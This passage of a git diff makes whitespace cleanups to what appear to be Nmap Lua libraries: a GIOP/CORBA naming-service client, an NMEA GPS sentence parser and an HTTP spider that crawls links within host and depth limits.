1313165056, }, - + ReplyStatus = { SYSTEM_EXCEPTION = 2, }, - + VERSION_1_0 = 1, VERSION_1_2 = 0x0201, - + NAMESERVICE = "NameService\0", } @@ -91,7 +91,7 @@ Constants = { Packet = {} Packet.GIOP = { - + magic = "GIOP", version = 0x0001, byte_order = 0, @@ -110,19 +110,19 @@ Packet.GIOP = { o.size = data and #data or 0 return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the instance data + -- @return string containing the instance data __tostring = function( self ) return bin.pack("IA", self.magic, self.version, self.byte_order, self.type, self.size, self.data ) end, - + --- Sets the packet version -- -- @param version number containing the version to use setVersion = function( self, version ) self.version = version end, - + --- Receives the packet over the socket -- -- @param socket containing the already connected socket @@ -131,14 +131,14 @@ Packet.GIOP = { recv = function( self, socket ) local status, data = socket:recv( 12 ) local pos - + if ( not(status) ) then return false, "Failed to read Packet.GIOP" end - - pos, self.magic, self.version, self.byte_order, + + pos, self.magic, self.version, self.byte_order, self.type = bin.unpack("" or "<") .. "I", data, pos ) - + status, data = socket:recv( self.size ) if ( not(status) ) then return false, "Failed to read Packet.GIOP" end @@ -164,10 +164,10 @@ ServiceContext = { o.pad = pad return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the instance data + -- @return string containing the instance data __tostring = function( self ) if ( self.pad ) then return bin.pack(">IIAS", self.id, #self.data, self.data, self.pad) @@ -178,7 +178,7 @@ ServiceContext = { } --- Creates a SendingContextRuntime -SendingContextRuntime = +SendingContextRuntime = { --- Creates a SendingContextRuntime -- @@ -188,12 +188,12 @@ SendingContextRuntime = local o = {} setmetatable(o, self) self.__index = self - o.data = bin.pack(">HIAH", - [[ + o.data = bin.pack(">HIAH", + [[ 000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746 578742f436f6465426173653a312e300000000001000000000000006e000102 00 - ]], #lhost + 1, lhost .. "\0", + ]], #lhost + 1, lhost .. "\0", [[ 00ec5100000019afabcb000000000249765d6900000008000000000000000014 0000000000000200000001000000200000000000010001000000020501000100 @@ -201,15 +201,15 @@ SendingContextRuntime = ]] ) return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the instance data + -- @return string containing the instance data __tostring = function( self ) return self.data end, } Packet.GIOP.reply = { - + --- Creates a new Packet.GIOP.reply instance -- -- @return obj a new Packet.GIOP.get instance @@ -221,7 +221,7 @@ Packet.GIOP.reply = { self.GIOP = Packet.GIOP:new() return o end, - + --- Receives a Packet.GIOP.reply from the socket -- -- @param socket already connected to the server @@ -231,7 +231,7 @@ Packet.GIOP.reply = { local status, err = self.GIOP:recv( socket ) local pos, tmp local bo = ( self.GIOP.byte_order == 0 and ">" or "<") - + if( not(status) ) then return false, err end if ( self.GIOP.version == Constants.VERSION_1_2 ) then @@ -248,24 +248,24 @@ Packet.GIOP.reply = { if ( i ~= tmp ) then pos = pos + 2 end table.insert( self.sc, ServiceContext:new( ctx_id, ctx_data ) ) end - + if ( self.GIOP.version == Constants.VERSION_1_0 ) then pos, self.request_id, self.reply_status, self.stub_data = bin.unpack( bo .. "IIA" .. ( #self.GIOP.data - pos - 8 ), self.GIOP.data, pos ) elseif ( pos < #self.GIOP.data ) then pos, self.data = bin.unpack("A" .. (#self.GIOP.data - pos), self.GIOP.data, pos ) end - + return true end, - + } Packet.GIOP.get = { - + resp_expected = 1, key_length = 4, princ_len = 0, - + --- Creates a new Packet.GIOP._is_a instance -- -- @param id the packet identifier @@ -283,21 +283,21 @@ Packet.GIOP.get = { o.sc = {} return o end, - + --- Creates and adds a service context to the packet -- -- @param id number containing the context id -- @param data the service context data -- @param pad [optional] number used to pad after the service context addServiceContext = function( self, id, data, pad ) table.insert( self.sc, ServiceContext:new(id, data, pad) ) end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function( self ) local data = bin.pack(">I", #self.sc) local pad = 0 - + for i=1, #self.sc do local tmp = tostring( self.sc[i]) data = data .. bin.pack("A", tmp ) @@ -308,12 +308,12 @@ Packet.GIOP.get = { return tostring( Packet.GIOP:new( 0, data ) ) end, - + } Packet.GIOP._is_a = { - + --- Creates a new Packet.GIOP._is_a instance -- -- @param id the packet identifier @@ -326,46 +326,46 @@ Packet.GIOP._is_a = self.__index = self o.op = "_is_a\0" o.id = id - o.target_addr = 0 -- KeyAddr + o.target_addr = 0 -- KeyAddr o.key_addr = key_addr o.flags = flags or Constants.SyncScope.WITH_TARGET -- SyncScope WITH_TARGET o.sc = {} return o end, - + --- Creates and adds a service context to the packet -- -- @param id number containing the context id -- @param data the service context data -- @param pad [optional] number used to pad after the service context addServiceContext = function( self, id, data, pad ) table.insert( self.sc, ServiceContext:new(id, data, pad) ) end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function( self ) local TYPE_ID = "IDL:omg.org/CosNaming/NamingContextExt:1.0\0" local RESERVED = 0 local UNKNOWN, UNKNOWN2, UNKNOWN3 = 2, 1, 0 local data = bin.pack(">ICCCCSSIAIASI", self.id, self.flags, RESERVED, RESERVED, RESERVED, self.target_addr, UNKNOWN, #self.key_addr, self.key_addr, #self.op, self.op, UNKNOWN2, #self.sc ) - + for i=1, #self.sc do local tmp = tostring( self.sc[i]) data = data .. bin.pack("A", tmp ) end - + data = data .. bin.pack(">IA", #TYPE_ID, TYPE_ID) local packet = Packet.GIOP:new( 0, data ) packet:setVersion( Constants.VERSION_1_2 ) - - return tostring( packet ) + + return tostring( packet ) end, - + } -Packet.GIOP.list = +Packet.GIOP.list = { --- Creates a new Packet.GIOP.list instance -- @@ -387,7 +387,7 @@ Packet.GIOP.list = o.sc = {} return o end, - + --- Creates and adds a service context to the packet -- -- @param id number containing the context id @@ -397,33 +397,33 @@ Packet.GIOP.list = --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function( self ) local RESERVED = 0 local UNKNOWN, UNKNOWN2, UNKNOWN3 = 2, 1, 6 - + local data = bin.pack(">ICCCCSSIAIACCCI", self.id, self.flags, RESERVED, RESERVED, - RESERVED, self.target_addr, UNKNOWN, #self.key_addr, self.key_addr, + RESERVED, self.target_addr, UNKNOWN, #self.key_addr, self.key_addr, #self.op, self.op, RESERVED, RESERVED, UNKNOWN2, #self.sc ) - + for i=1, #self.sc do local tmp = tostring( self.sc[i]) data = data .. bin.pack("A", tmp ) end - + data = data .. bin.pack(">II", UNKNOWN3, self.how_many ) local packet = Packet.GIOP:new( 0, data ) packet:setVersion( Constants.VERSION_1_2 ) - + return tostring( packet ) end, - + } -- A socket implementation that provides fundamental buffering and allows for -- reading of an exact number of bytes, instead of atleast ... Socket = -{ +{ new = function(self, socket) local o = {} setmetatable(o, self) @@ -438,7 +438,7 @@ Socket = if (not(status)) then return false, "Error failed to get socket information" end return true, lhost end, - + --- Establishes a connection. -- -- @param hostid Hostname or IP address. @@ -450,7 +450,7 @@ Socket = local status = self.Socket:set_timeout(10000) return self.Socket:connect( hostid, port, protocol ) end, - + --- Closes an open connection. -- -- @return Status (true or false). @@ -458,7 +458,7 @@ Socket = close = function( self ) return self.Socket:close() end, - + --- Opposed to the socket:receive_bytes function, that returns -- at least x bytes, this function returns the amount of bytes requested. -- @@ -468,9 +468,9 @@ Socket = -- err containing error message if status is false recv = function( self, count ) local status, data - + self.Buffer = self.Buffer or "" - + if ( #self.Buffer < count ) then status, data = self.Socket:receive_bytes( count - #self.Buffer ) if ( not(status) or #data < count - #self.Buffer ) then @@ -478,13 +478,13 @@ Socket = end self.Buffer = self.Buffer .. data end - + data = self.Buffer:sub( 1, count ) self.Buffer = self.Buffer:sub( count + 1) - - return true, data + + return true, data end, - + --- Sends data over the socket -- -- @return Status (true or false). @@ -496,10 +496,10 @@ Socket = -- Static class containing various message decoders MessageDecoder = { - + --- Decodes a get response -- - -- @param packet the GIOP packet as recieved by the comm + -- @param packet the GIOP packet as recieved by the comm -- exchGIOPPacket function -- @return status true on success, false on failure -- @return table containing ip and ctx @@ -507,7 +507,7 @@ MessageDecoder = { local bo = ( packet.GIOP.byte_order == 0 and ">" or "<") local pos, len = bin.unpack(bo .. "I", packet.stub_data) local ip, ctx - + pos = pos + len + 16 pos, len = bin.unpack(bo .. "I", packet.stub_data, pos) @@ -516,13 +516,13 @@ MessageDecoder = { pos = pos + 3 pos, len = bin.unpack(bo .. "I", packet.stub_data, pos) pos, ctx = bin.unpack( bo .. "A" .. len, packet.stub_data, pos) - + return true, { ip = ip, ctx = ctx} end, - + --- Decodes a _is_a response (not implemented) -- - -- @param packet the GIOP packet as recieved by the comm + -- @param packet the GIOP packet as recieved by the comm -- exchGIOPPacket function -- @return status, always true ["_is_a"] = function( packet ) @@ -531,7 +531,7 @@ MessageDecoder = { --- Decodes a list response -- - -- @param packet the GIOP packet as recieved by the comm + -- @param packet the GIOP packet as recieved by the comm -- exchGIOPPacket function -- @return status true on success, false on failure -- @return table containing id, kind and @@ -540,40 +540,40 @@ MessageDecoder = { local bo = ( packet.GIOP.byte_order == 0 and ">" or "<") local pos, seq_len = bin.unpack( bo .. "I", packet.data, 7) local objs = {} - + for i=1, seq_len do local seq_len_of_bind_name local len, name local obj = {} - + pos, seq_len_of_bind_name = bin.unpack( bo .. "I", packet.data, pos) if ( seq_len_of_bind_name ~= 1 ) then return false, "Sequence length of Binding_binding_name was greater than 1" end - + pos, len = bin.unpack( bo .. "I", packet.data, pos ) pos, obj.id = bin.unpack( "A" .. len - 1, packet.data, pos ) -- Account for terminating zero pos = pos + 1 - + -- Account for undecoded data pos = pos + ( ( len % 4 > 0 ) and ( 4 - ( len % 4 ) ) or 0 ) pos = pos + 3 - + pos, obj.kind = bin.unpack("C", packet.data, pos) - + -- Account for undecoded data pos = pos + 4 pos, obj.enum = bin.unpack( bo .. "I", packet.data, pos ) table.insert( objs, obj ) end - + return true, objs end, - + } Comm = { - + --- Creates a new Comm instance -- -- @param socket containing a buffered socket connected to the server @@ -585,7 +585,7 @@ Comm = { o.socket = socket return o end, - + --- Sends and recieves a GIOP packet -- -- @param packet containing a Packet.* object, the object must @@ -597,7 +597,7 @@ Comm = { local status, err = self.socket:send( tostring(packet) ) local op = packet.op:sub(1, -2) local data - + if( not(status) ) then return false, err end packet = Packet.GIOP.reply:new() @@ -609,15 +609,15 @@ Comm = { else return false, ("No message decoder for op (%s)"):format(op) end - + return status, data end, - + } Helper = { - + new = function(self, host, port ) local o = {} setmetatable(o, self) @@ -627,48 +627,48 @@ Helper = { o.socket = Socket:new() return o end, - + GetNamingContext = function( self ) local packet = Packet.GIOP.get:new( 5, 0x494e4954, bin.pack(">IA", #Constants.NAMESERVICE, Constants.NAMESERVICE) ) local status, ctx, lhost, pos, len, bo, tmp - + packet:addServiceContext( 17, string.char(0x00, 0x02), 0) packet:addServiceContext( Constants.ServiceContext.NEO_FIRST_SERVICE_CONTEXT, string.char(0x00, 0x14), 0) packet:addServiceContext( Constants.ServiceContext.SENDING_CONTEXT_RUNTIME, tostring(SendingContextRuntime:new( self.lhost )), 0 ) - + status, packet = self.comm:exchGIOPPacket( packet ) if( not(status) ) then return status, packet end - + return true, packet.ctx end, - + ListObjects = function( self, keyaddr ) -- SyncScope WITH_TARGET local packet = Packet.GIOP._is_a:new( 5, Constants.SyncScope.WITH_TARGET, keyaddr ) local status, err, lhost - + status, err = self:Reconnect() if( not(status) ) then return false, err end - + packet:addServiceContext( 17, "\0\2", 0x000d) packet:addServiceContext( Constants.ServiceContext.CODESETS, "\0\0\0\0\0\1\0\1\0\1\1\9" ) packet:addServiceContext( Constants.ServiceContext.NEO_FIRST_SERVICE_CONTEXT, string.char(0x00, 0x14), 0x5d69) packet:addServiceContext( Constants.ServiceContext.SENDING_CONTEXT_RUNTIME, tostring(SendingContextRuntime:new( self.lhost )), 0 ) - + status, packet = self.comm:exchGIOPPacket( packet ) if( not(status) ) then return status, packet end - + packet = Packet.GIOP.list:new( Constants.ServiceContext.SENDING_CONTEXT_RUNTIME, Constants.SyncScope.WITH_TARGET, keyaddr, 1000 ) packet:addServiceContext( 17, "\0\2", 0x000d) packet:addServiceContext( Constants.ServiceContext.CODESETS, "\0\0\0\0\0\1\0\1\0\1\1\9" ) packet:addServiceContext( Constants.ServiceContext.NEO_FIRST_SERVICE_CONTEXT, string.char(0x00, 0x14), 0x9c9b) - + status, packet = self.comm:exchGIOPPacket( packet ) if( not(status) ) then return status, packet end - + return true, packet end, - + --- Connects and performs protocol negotiation with the Oracle server -- -- @return true on success, false on failure @@ -679,22 +679,22 @@ Helper = { self.comm = Comm:new( self.socket ) status, self.lhost = self.socket:getSrcIp() - if ( not(status) ) then + if ( not(status) ) then self.socket:close() - return false, self.lhost + return false, self.lhost end return true end, - + Close = function( self ) return self.socket:close() end, - + Reconnect = function( self ) local status = self:Close() if( not(status) ) then return false, "Failed to close socket" end - + status = self:Connect() if( not(status) ) then return false, "Failed to re-connect socket" end diff --git a/nselib/gps.lua b/nselib/gps.lua index 8d7c9ff3f..85870d278 100644 --- a/nselib/gps.lua +++ b/nselib/gps.lua @@ -13,27 +13,27 @@ _ENV = stdnse.module("gps", stdnse.seeall) -- -- -NMEA = { +NMEA = { -- Parser for the RMC sentence RMC = { - + parse = function(str) - + local time, status, latitude, ns_indicator, longitude, ew_indicator, speed, course, date, variation, ew_variation, checksum = str:match("^%$GPRMC,([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^,]*),([^%*]*)(.*)$") - + if ( not(latitude) or not(longitude) ) then return end - + local deg, min = latitude:match("^(..)(.*)$") if ( not(deg) or not(min) ) then return end latitude = tonumber(deg) + (tonumber(min)/60) - + deg, min = longitude:match("^(..)(.*)$") if ( not(deg) or not(min) ) then return @@ -46,15 +46,15 @@ NMEA = { if ( ns_indicator == 'S' ) then latitude = -latitude end - + return { time = time, status = status, latitude = latitude, longitude = longitude, speed = speed, course = course, - date = date, variation = variation, + date = date, variation = variation, ew_variation = ew_variation } end, - + }, - + -- Calculates an verifies the message checksum -- -- @param str containing the GPS sentence @@ -65,7 +65,7 @@ NMEA = { for c in str:sub(2,-4):gmatch(".") do val = bit.bxor(val, string.byte(c)) end - + if ( str:sub(-2):upper() ~= stdnse.tohex(string.char(val)):upper() ) then return false, ("Failed to verify checksum (got: %s; expected: %s)"):format(stdnse.tohex(string.char(val)), str:sub(-2)) end @@ -75,16 +75,16 @@ NMEA = { -- Parses a GPS sentence using the apropriate parser -- -- @param str containing the GPS sentence - -- @return entry table containing the parsed response or + -- @return entry table containing the parsed response or -- err string if status is false -- @return status true on success, false on failure parse = function(str) - + local status, err = NMEA.checksum(str) if ( not(status) ) then return false, err end - + local prefix = str:match("^%$GP([^,]*)") if ( not(prefix) ) then return false, "Not a NMEA sentence" @@ -101,9 +101,9 @@ NMEA = { stdnse.print_debug(2, err) return false, err end - + end - + } Util = { @@ -111,7 +111,7 @@ Util = { convertTime = function(date, time) local d = {} d.hour, d.min, d.sec = time:match("(..)(..)(..)") - d.day, d.month, d.year = date:match("(..)(..)(..)") + d.day, d.month, d.year = date:match("(..)(..)(..)") d.year = d.year + 2000 return os.time(d) end diff --git a/nselib/httpspider.lua b/nselib/httpspider.lua index 49bb8af79..1dd5a6dac 100644 --- a/nselib/httpspider.lua +++ b/nselib/httpspider.lua @@ -16,7 +16,7 @@ -- -- * Crawler -- ** This class is responsible for the actual crawling. --- +-- -- The following sample code shows how the spider could be used: -- -- local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) @@ -38,9 +38,9 @@ -- return result -- -- --- For advanced use, the library currently supports a number of closures (withinhost, --- withindomain, doscraping). Please note, that withinhost and withindomain options also --- support boolean values. You will want to override them only for advanced use. You can +-- For advanced use, the library currently supports a number of closures (withinhost, +-- withindomain, doscraping). Please note, that withinhost and withindomain options also +-- support boolean values. You will want to override them only for advanced use. You can -- define them using the following ultities: -- -- * iswithinhost @@ -51,18 +51,18 @@ -- -- * isresource -- ** You can use this ultity to check the type of the resource (for example "js"). --- ** A third option may hold a number of signs that may exist after the extension --- ** of the resource. By default, these are [#, ?]. For example, if we want to return --- only php resources, the function will also return example.php?query=foo or +-- ** A third option may hold a number of signs that may exist after the extension +-- ** of the resource. By default, these are [#, ?]. For example, if we want to return +-- only php resources, the function will also return example.php?query=foo or -- example.php#foo. -- --- The following sample code shows an example usage. We override the default --- withinhost method and we allow spidering only on resources within the host +-- The following sample code shows an example usage. We override the default +-- withinhost method and we allow spidering only on resources within the host -- that they are not "js" or "css". -- -- crawler.options.withinhost = function(url) --- if crawler:iswithinhost(url) --- and not crawler:isresource(url, "js") +-- if crawler:iswithinhost(url) +-- and not crawler:isresource(url, "js") -- and not crawler:isresource(url, "css") then -- return true -- end @@ -70,7 +70,7 @@ -- -- -- @author Patrik Karlsson --- +-- -- @args httpspider.maxdepth the maximum amount of directories beneath -- the initial url to spider. A negative value disables the limit. -- (default: 3) @@ -78,24 +78,24 @@ -- A negative value disables the limit (default: 20) -- @args httpspider.url the url to start spidering. This is a URL -- relative to the scanned host eg. /default.html (default: /) --- @args httpspider.withinhost Closure that overrides the default withinhost --- function that only spiders URLs within the same host. If this is --- set to false the crawler will spider URLs both inside and outside --- the host. See the closure section above to override the default +-- @args httpspider.withinhost Closure that overrides the default withinhost +-- function that only spiders URLs within the same host. If this is +-- set to false the crawler will spider URLs both inside and outside +-- the host. See the closure section above to override the default -- behaviour. (default: true) --- @args httpspider.withindomain Closure that overrides the default +-- @args httpspider.withindomain Closure that overrides the default -- withindomain function that only spiders URLs within the same -- domain. This widens the scope from withinhost and can --- not be used in combination. See the closure section above to +-- not be used in combination. See the closure section above to -- override the default behaviour. (default: false) -- @args httpspider.noblacklist if set, doesn't load the default blacklist -- @args httpspider.useheadfornonwebfiles if set, the crawler would use -- HEAD instead of GET for files that do not have extensions indicating -- that they are webpages (the list of webpage extensions is located in -- nselib/data/http-web-files-extensions.lst) --- @args httpspider.doscraping Closure that overrides the default doscraping --- function used to check if the resource should be scraped (in terms --- of extracting any links within it). See the closure section above to +-- @args httpspider.doscraping Closure that overrides the default doscraping +-- function used to check if the resource should be scraped (in terms +-- of extracting any links within it). See the closure section above to -- override the default behaviour. --- @@ -114,10 +114,10 @@ local PREFETCH_SIZE = 5 -- The Options class, handling all spidering options Options = { - + new = function(self, options) local o = { } - + -- copy all options as class members for k, v in pairs(options) do o[k] = v end @@ -126,12 +126,12 @@ Options = { o.whitelist = o.whitelist or {} o.blacklist = o.blacklist or {} local removewww = function(url) return string.gsub(url, "^www%.", "") end - + -- set up the appropriate matching functions if ( o.withinhost ) then o.withinhost = function(u) local parsed_u = url.parse(tostring(u)) - + if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then if ( tonumber(parsed_u.port) ~= tonumber(o.base_url:getPort()) ) then return false @@ -147,7 +147,7 @@ Options = { end if ( o.withindomain ) then o.withindomain = function(u) - local parsed_u = url.parse(tostring(u)) + local parsed_u = url.parse(tostring(u)) if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then if ( tonumber(parsed_u.port) ~= tonumber(o.base_url:getPort()) ) then return false @@ -162,7 +162,7 @@ Options = { end if (not o.doscraping) then - + o.doscraping = function(u) return true end @@ -172,7 +172,7 @@ Options = { self.__index = self return o end, - + addWhitelist = function(self, func) table.insert(self.whitelist, func) end, addBlacklist = function(self, func) table.insert(self.blacklist, func) end, @@ -180,11 +180,11 @@ Options = { -- Placeholder for form extraction code FormExtractor = { - + } LinkExtractor = { - + -- Creates a new instance of LinkExtractor -- @return o instance of LinkExtractor new = function(self, url, html, options) @@ -200,7 +200,7 @@ LinkExtractor = { return o end, - + -- is the link absolute or not? isAbsolute = function(url) -- at this point we don't care about the protocol @@ -208,7 +208,7 @@ LinkExtractor = { -- feed:http://example.com/rss.xml return ( url:match('^%w*:') ~= nil ) end, - + -- Creates an absolute link from a relative one based on the base_url -- The functionality is very simple and does not take any ../../ in -- consideration. @@ -235,7 +235,7 @@ LinkExtractor = { if ( ( base_url:getProto() == 'https' and base_url:getPort() == 443 ) or ( base_url:getProto() == 'http' and base_url:getPort() == 80 ) ) then - + if ( leading_slash ) then return ("%s://%s/%s"):format(base_url:getProto(), base_url:getHost(), rel_url) else @@ -257,7 +257,7 @@ LinkExtractor = { end end end, - + -- Gets the depth of the link, relative to our base url eg. -- base_url = http://www.cqure.net/wp/ -- url = http://www.cqure.net/wp/ - depth: 0 @@ -279,7 +279,7 @@ LinkExtractor = { end end end, - + validate_link = function(self, url) local valid = true @@ -296,7 +296,7 @@ LinkExtractor = { if ( -1 == depth or depth > self.options.maxdepth ) then stdnse.print_debug(3, "%s: Skipping link depth: %d; b_url=%s; url=%s", LIBRARY_NAME, depth, tostring(self.options.base_url), tostring(url)) return false - end + end end -- withindomain trumps any whitelisting @@ -315,7 +315,7 @@ LinkExtractor = { end end - -- run through all blacklists + -- run through all blacklists if ( #self.options.blacklist > 0 ) then for _, func in ipairs(self.options.blacklist) do if ( func(url) ) then @@ -353,12 +353,12 @@ LinkExtractor = { '[sS][rR][cC]%s*=%s*([^\'\"][^%s>]+)', '[aA][cC][tT][iI][oO][nN]%s*=%s*[\'"]%s*([^"^\']+%s*)[\'"]', } - + local base_hrefs = { '[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*[\'"](%s*[^"^\']+%s*)[\'"]', '[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*([^\'\"][^%s>]+)' } - + local base_href for _, pattern in ipairs(base_hrefs) do base_href = self.html:match(pattern) @@ -373,11 +373,11 @@ LinkExtractor = { if ( not(LinkExtractor.isAbsolute(l)) ) then link = LinkExtractor.createAbsolute(self.url, l, base_href) end - + local url = URL:new(link) - + local valid = self:validate_link(url) - + if ( valid ) then stdnse.print_debug(3, "%s: Adding link: %s", LIBRARY_NAME, tostring(url)) links[tostring(url)] = true @@ -386,24 +386,24 @@ LinkExtractor = { end end end - + for link in pairs(links) do table.insert(self.links, link) end - + end, -- Gets a table containing all of the retrieved URLs, after filtering -- has been applied. getLinks = function(self) return self.links end, - - + + } -- The URL class, containing code to process URLS -- This class is heavily inspired by the Java URL class URL = { - + -- Creates a new instance of URL -- @param url string containing the text representation of a URL -- @return o instance of URL, in case of parsing being successful @@ -412,14 +412,14 @@ URL = { local o = { raw = url, } - + setmetatable(o, self) self.__index = self if ( o:parse() ) then return o end end, - + -- Parses the string representation of the URL and splits it into different -- URL components -- @return status true on success, false on failure @@ -430,15 +430,15 @@ URL = { self.port = tonumber(self.port) if ( not(self.port) ) then if ( self.proto:match("https") ) then - self.port = 443 + self.port = 443 elseif ( self.proto:match("http")) then self.port = 80 end end - + self.path = self.file:match("^([^?]*)[%?]?") self.dir = self.path:match("^(.+%/)") or "/" - self.domain= self.host:match("^[^%.]-%.(.*)") + self.domain= self.host:match("^[^%.]-%.(.*)") return true elseif( self.raw:match("^javascript:") ) then stdnse.print_debug(2, "%s: Skipping javascript url: %s", LIBRARY_NAME, self.raw) @@ -449,42 +449,42 @@ URL = { end return false end, - + -- Get's the host portion of the URL -- @return host string containing the hostname getHost = function(self) return self.host end, - + -- Get's the protocol representation of the URL -- @return proto string containing the protocol (ie. http, https) getProto = function(self) return self.proto end, - - -- Returns the filename component of the URL. + + -- Returns the filename component of the URL. -- @return file string containing the path and query components of the url getFile = function(self) return self.file end, - + -- Gets the port component of the URL -- @return port number containing the port of the URL getPort = function(self) return self.port end, - + -- Gets the path component of the URL -- @return the full path and filename of the URL getPath = function(self) return self.path end, - + -- Gets the directory component of the URL - -- @return directory string containing the directory part of the URL + -- @return directory string containing the directory part of the URL getDir = function(self) return self.dir end, - + -- Gets the domain component of the URL -- @return domain string containing the hosts domain getDomain = function(self) if ( self.domain ) then - return self.domain + return self.domain -- fallback to the host, if we can't find a domain else return self.host end end, - + -- Converts the URL to a string -- @return url string containing the string representation of the url __tostring = function(self) return self.raw end, @@ -492,12 +492,12 @@ URL = { -- An UrlQueue UrlQueue = { - + -- creates a new instance of UrlQueue -- @param options table containing options -- @return o new instance of UrlQueue new = function(self, options) - local o = { + local o = { urls = {}, options = options } @@ -505,23 +505,23 @@ UrlQueue = { self.__index = self return o end, - + -- get's the next available url in the queue getNext = function(self) return table.remove(self.urls,1) end, - + -- adds a new url to the queue -- @param url can be either a string or a URL or a table of URLs add = function(self, url) assert( type(url) == 'string' or type(url) == 'table', "url was neither a string or table") local urls = ( 'string' == type(url) ) and URL:new(url) or url - + -- if it's a table, it can be either a single URL or an array of URLs if ( 'table' == type(url) and url.raw ) then urls = { url } end - + for _, u in ipairs(urls) do u = ( 'string' == type(u) ) and URL:new(u) or u if ( u ) then @@ -531,27 +531,27 @@ UrlQueue = { end end end, - + -- dumps the contents of the UrlQueue dump = function(self) for _, url in ipairs(self.urls) do print("url:", url) end end, - + } -- The Crawler class Crawler = { options = {}, - + removewww = function(url) return string.gsub(url, "^www%.", "") end, -- An ultity when defining closures. Checks if the resource exists within host. - -- @param u URL that points to the resource we want to check. + -- @param u URL that points to the resource we want to check. iswithinhost = function(self, u) - local parsed_u = url.parse(tostring(u)) + local parsed_u = url.parse(tostring(u)) if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then if ( tonumber(parsed_u.port) ~= tonumber(self.options.base_url:getPort()) ) then return false @@ -566,9 +566,9 @@ Crawler = { end, -- An ultity when defining closures. Checks if the resource exists within domain. - -- @param u URL that points to the resource we want to check. + -- @param u URL that points to the resource we want to check. iswithindomain = function(self, u) - local parsed_u = url.parse(tostring(u)) + local parsed_u = url.parse(tostring(u)) if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then if ( tonumber(parsed_u.port) ~= tonumber(self.options.base_url:getPort()) ) then return false @@ -581,10 +581,10 @@ Crawler = { return true end, - -- An ultity when defining closures. Checks the type of the resource. - -- @param u URL that points to the resource we want to check. + -- An ultity when defining closures. Checks the type of the resource. + -- @param u URL that points to the resource we want to check. -- @param ext the extension of the resource. - -- @param signs table of signs that may exist after the extension of the resource. + -- @param signs table of signs that may exist after the extension of the resource. isresource = function(self, u, ext, signs) u = tostring(u) @@ -596,7 +596,7 @@ Crawler = { if signs then for _, s in signs do signstring = signstring .. s - end + end signstring:gsub('?', '%?') else signstring = "#%?" @@ -604,8 +604,8 @@ Crawler = { return string.match(u, "." .. ext .. "[" .. signstring .. "]" .. "[^.]*$") - end, - + end, + -- creates a new instance of the Crawler instance -- @param host table as received by the action method -- @param port table as received by the action method @@ -643,13 +643,13 @@ Crawler = { o:loadDefaultArguments() local response = http.get(o.host, o.port, '/', { timeout = o.options.timeout, redirect_ok = o.options.redirect_ok, no_cache = o.options.no_cache } ) - + if ( not(response) or 'table' ~= type(response) ) then return end - + o.url = o.url:match("/?(.*)") - + local u_host = o.host.targetname or o.host.name if ( not(u_host) or 0 == #u_host ) then u_host = o.host.ip @@ -662,17 +662,17 @@ Crawler = { o.options.timeout = o.options.timeout or 10000 o.processed = {} - + -- script arguments have precedense if ( not(o.options.maxdepth) ) then o.options.maxdepth = tonumber(stdnse.get_script_args("httpspider.maxdepth")) end - + -- script arguments have precedense if ( not(o.options.maxpagecount) ) then o.options.maxpagecount = tonumber(stdnse.get_script_args("httpspider.maxpagecount")) end - + if ( not(o.options.noblacklist) ) then o:addDefaultBlacklist() end @@ -689,18 +689,18 @@ Crawler = { end end end - + stdnse.print_debug(2, "%s: %s", LIBRARY_NAME, o:getLimitations()) - + return o end, - + -- Set's the timeout used by the http library -- @param timeout number containing the timeout in ms. set_timeout = function(self, timeout) self.options.timeout = timeout end, - + -- Get's the amount of pages that has been retrieved -- @return count number of pages retrieved by the instance getPageCount = function(self) @@ -710,7 +710,7 @@ Crawler = { end return count end, - + -- Adds a default blacklist blocking binary files such as images, -- compressed archives and executable files addDefaultBlacklist = function(self) @@ -740,7 +740,7 @@ Crawler = { end end ) end, - + -- does the heavy crawling -- -- The crawler may exit due to a number of different reasons, including @@ -759,12 +759,12 @@ Crawler = { end while(true) do - + if ( self.quit or coroutine.status(self.basethread) == 'dead' ) then table.insert(response_queue, {false, { err = false, msg = "Quit signalled by crawler" } }) break end - + -- in case the user set a max page count to retrieve check how many -- pages we have retrieved so far local count = self:getPageCount() @@ -774,7 +774,7 @@ Crawler = { condvar "signal" return end - + -- pull links from the queue until we get a valid one local url repeat @@ -787,18 +787,18 @@ Crawler = { condvar "signal" return end - + if ( self.options.maxpagecount ) then stdnse.print_debug(2, "%s: Fetching url [%d of %d]: %s", LIBRARY_NAME, count, self.options.maxpagecount, tostring(url)) else stdnse.print_debug(2, "%s: Fetching url: %s", LIBRARY_NAME, tostring(url)) - end + end - local scrape = true + local scrape = true if not (self.options.doscraping(url)) then - stdnse.print_debug(2, "%s: Scraping is not allowed for url: %s", LIBRARY_NAME, tostring(url)) + stdnse.print_debug(2, "%s: Scraping is not allowed for url: %s", LIBRARY_NAME, tostring(url)) scrape = false end @@ -828,9 +828,9 @@ Crawler = { -- fetch the url, and then push it to the processed table response = http.get(url:getHost(), url:getPort(), url:getFile(), { timeout = self.options.timeout, redirect_ok = self.options.redirect_ok, no_cache = self.options.no_cache } ) end - + self.processed[tostring(url)] = true - + if ( response ) then -- were we redirected? if ( response.location ) then @@ -847,7 +847,7 @@ Crawler = { if ( response.body ) and scrape then local links = LinkExtractor:new(url, response.body, self.options):getLinks() self.urlqueue:add(links) - end + end else response = { body = "", headers = {} } end @@ -860,7 +860,7 @@ Crawler = { end condvar "signal" end, - + -- Loads the argument set on a script level loadScriptArguments = function(self) local sn = self.options.scriptname @@ -868,7 +868,7 @@ Crawler = { 